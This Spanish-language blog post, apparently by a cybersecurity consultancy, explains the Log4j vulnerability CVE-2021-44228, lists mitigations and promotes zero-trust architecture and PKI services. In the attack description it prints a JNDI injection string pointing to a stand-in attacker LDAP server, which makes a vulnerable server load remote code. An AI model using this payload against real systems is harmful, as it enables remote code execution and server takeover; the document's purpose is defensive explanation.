En el último mes, probablemente haya visto el exploit Log4j en las noticias. En diciembre, se descubrió una vulnerabilidad crítica de ejecución remota de código, CVE-2021-44228, en Apache Log4j y ha afectado a millones de servidores. Cloudflare ha declarado que la compañía ha registrado más de 100 intentos por hora para explotar esta vulnerabilidad. Microsoft ha observado que varios grupos de hackers de estados nacionales de China, Corea del Norte, Irán y Turquía están utilizando la vulnerabilidad. Los intentos de explotación también fueron elevados durante la última semana de diciembre.

¿Qué es Log4j?

Apache Log4j es una biblioteca de registro de código abierto ampliamente utilizada en prácticamente cualquier entorno donde se utilice una aplicación Java. Esto incluye aplicaciones empresariales, servicios en la nube, aplicaciones web, servicios de correo electrónico y software de código abierto. Esta biblioteca se utiliza para registrar información de seguridad y rendimiento.

¿Cual es el problema?

La vulnerabilidad aprovecha las búsquedas JNDI (Java Naming and Directory Interface), permitidas en la configuración predeterminada de Log4j. JNDI es una API de Java que los clientes utilizan para buscar datos y objetos almacenados en diferentes servicios de directorios y nombres, como el Protocolo ligero de acceso a directorios (LDAP), el Sistema de nombres de dominio (DNS) y la Invocación de métodos remotos (RMI).

La API utiliza una cadena como parámetro de entrada, la cual puede ser explotada por un atacante remoto para ejecutar código arbitrario. Log4j no depura los parámetros de entrada, lo que permite a un atacante proporcionar una cadena como variable que podría usarse para cargar e invocar un archivo de clase Java remoto. Un atacante con capacidad para controlar los mensajes de registro puede ejecutar código remoto cargado desde servidores LDAP cuando la sustitución de búsqueda de mensajes está habilitada y obtener el control total del servidor afectado. Un atacante puede explotar esta vulnerabilidad siguiendo estos pasos:

Un atacante crea una cadena especialmente diseñada que contiene la carga maliciosa y la envía a un sistema vulnerable. Esta cadena podría insertarse en cualquiera de los campos que registra el sistema, como
- User Agent
- Nombre de usuario
- Nombre del dispositivo o dirección de correo electrónico
La cadena apunta a un servidor LDAP o DNS controlado por el atacante, como

${jndi:ldap://evil-hack.com/a}.

Esta cadena luego se envía a Log4j para su registro.
El sistema vulnerable utiliza JNDI para consultar el servidor LDAP o DNS controlado por el atacante.
El servidor LDAP o DNS controlado por el atacante responde con un archivo de clase Java remoto (exploit.class)
La clase Java se descarga y se ejecuta.

Gravedad del problema

El impacto del exploit es muy amplio debido a la naturaleza de la vulnerabilidad. Log4j es ampliamente utilizado por desarrolladores y, para explotarla, un atacante solo necesita explotar el sistema objetivo para registrar un mensaje especialmente diseñado. Los atacantes están explotando ampliamente esta vulnerabilidad para la minería de criptomonedas y otros tipos de ataques de malware.

Los ciberdelincuentes explotan una nueva vulnerabilidad para aprovecharla antes de que sea remediada. En el caso de Log4j, dado su amplio uso por parte de los desarrolladores en casi todas las aplicaciones Java, ofrece una mayor oportunidad para que los ciberdelincuentes exploten esta vulnerabilidad antes de que la organización pueda parchear toda su red y sus aplicaciones.

Expertos en seguridad han advertido que, debido al empaquetamiento de Java, la vulnerabilidad podría estar presente en varias capas de las aplicaciones y no ser fácilmente detectada por los escáneres. Si bien el exploit está actualmente dirigido a la minería de criptomonedas, podría ser explotado por actores de amenazas importantes para atacar objetivos de alto valor, como instituciones financieras y agencias federales. Los atacantes están escaneando sistemas Windows y Linux en busca de esta vulnerabilidad.

¿Cómo mitigar el riesgo?

Una organización puede seguir las siguientes recomendaciones para manejar esta vulnerabilidad:

Para que una organización pueda identificar las aplicaciones y los sistemas afectados, se deben implementar herramientas de escaneo y scripts para detectar sistemas vulnerables en el entorno.
Como solución alternativa, la clase JndiLookup se puede eliminar de la ruta de clases.
Aplique inmediatamente los parches de seguridad correspondientes para las aplicaciones y sistemas públicos.
Aplicar los parches de seguridad correspondientes para las aplicaciones y sistemas internos lo antes posible.
Revise los registros del perímetro de su red para detectar indicadores de compromiso.
Si está utilizando un WAF, cree reglas específicas para log4j.
Aislar los sistemas vulnerables mediante la segmentación de la red u otros medios.
Supervise actividades sospechosas, con especial atención a las aplicaciones que establecen conexiones remotas.
Considere implementar una arquitectura de confianza cero.

Arquitectura de confianza cero

Un elemento importante en todos los ataques de malware es que el atacante utiliza las aplicaciones y sistemas de la organización contra la propia organización. Las organizaciones deberían considerar implementar una arquitectura de confianza cero para protegerse de sus propias aplicaciones y sistemas. La confianza cero es un enfoque que protege a una organización rechazando la confianza implícita y validando continuamente cada solicitud. Se basa en el principio de "nunca confiar, siempre verificar". Cada solicitud de acceso se autentica, autoriza y cifra primero antes de proporcionar acceso al recurso. La arquitectura de confianza cero se basa en tres principios clave:

Verificar explícitamente

Siempre autentique y autorice las solicitudes en función de la identidad del usuario, el dispositivo, la ubicación, el servicio, la carga de trabajo y otros parámetros.
Utilice el mínimo privilegio

Restrinja el acceso de los usuarios únicamente a los recursos necesarios para su puesto. Utilice políticas basadas en riesgos y protección de datos para proteger los datos y los sistemas.
Asumir el incumplimiento e inspeccionar cada actividad

Utilice análisis para obtener visibilidad de la red, los sistemas y las aplicaciones, y mejorar las defensas.

La identidad se ha convertido en el nuevo perímetro de la red, y la verificación de estas identidades es fundamental para la arquitectura de confianza cero. En lugar de la identificación basada en la dirección IP, se basa en la verificación de la identidad del usuario mediante la Gestión de Identidad y Acceso (IAM), la autenticación multifactor (MFA) y la criptografía de clave pública (PKI).

Además de la verificación de identidad, las organizaciones también deben garantizar la verificación de dispositivos mediante certificados y pares de claves para reforzar su seguridad. Los datos deben estar protegidos tanto en reposo como en tránsito. Esto hace que el cifrado, especialmente la PKI, sea un componente fundamental en la implementación de una arquitectura de confianza cero. La PKI permite a una organización establecer la identidad de las máquinas y cifra las comunicaciones entre redes. Las organizaciones pueden usar la PKI para emitir certificados digitales a usuarios, máquinas, aplicaciones web y dispositivos móviles, proporcionando así una autenticación de red segura.

Conclusión

Las organizaciones necesitan reforzar la seguridad de sus sistemas y aplicaciones contra estas vulnerabilidades y exploits, y para ello deben avanzar hacia una arquitectura de confianza cero. Implementar una PKI es fundamental para una arquitectura de confianza cero y garantizar la autenticación segura de la red para usuarios, sistemas y aplicaciones web. Encryption Consulting es una consultora de ciberseguridad centrada en el cliente que ofrece servicios a diversos clientes para la implementación y gestión de PKI en sus entornos. Para saber cómo podemos ayudar a su organización, visite nuestro sitio web. www.encryptionconsulting.com.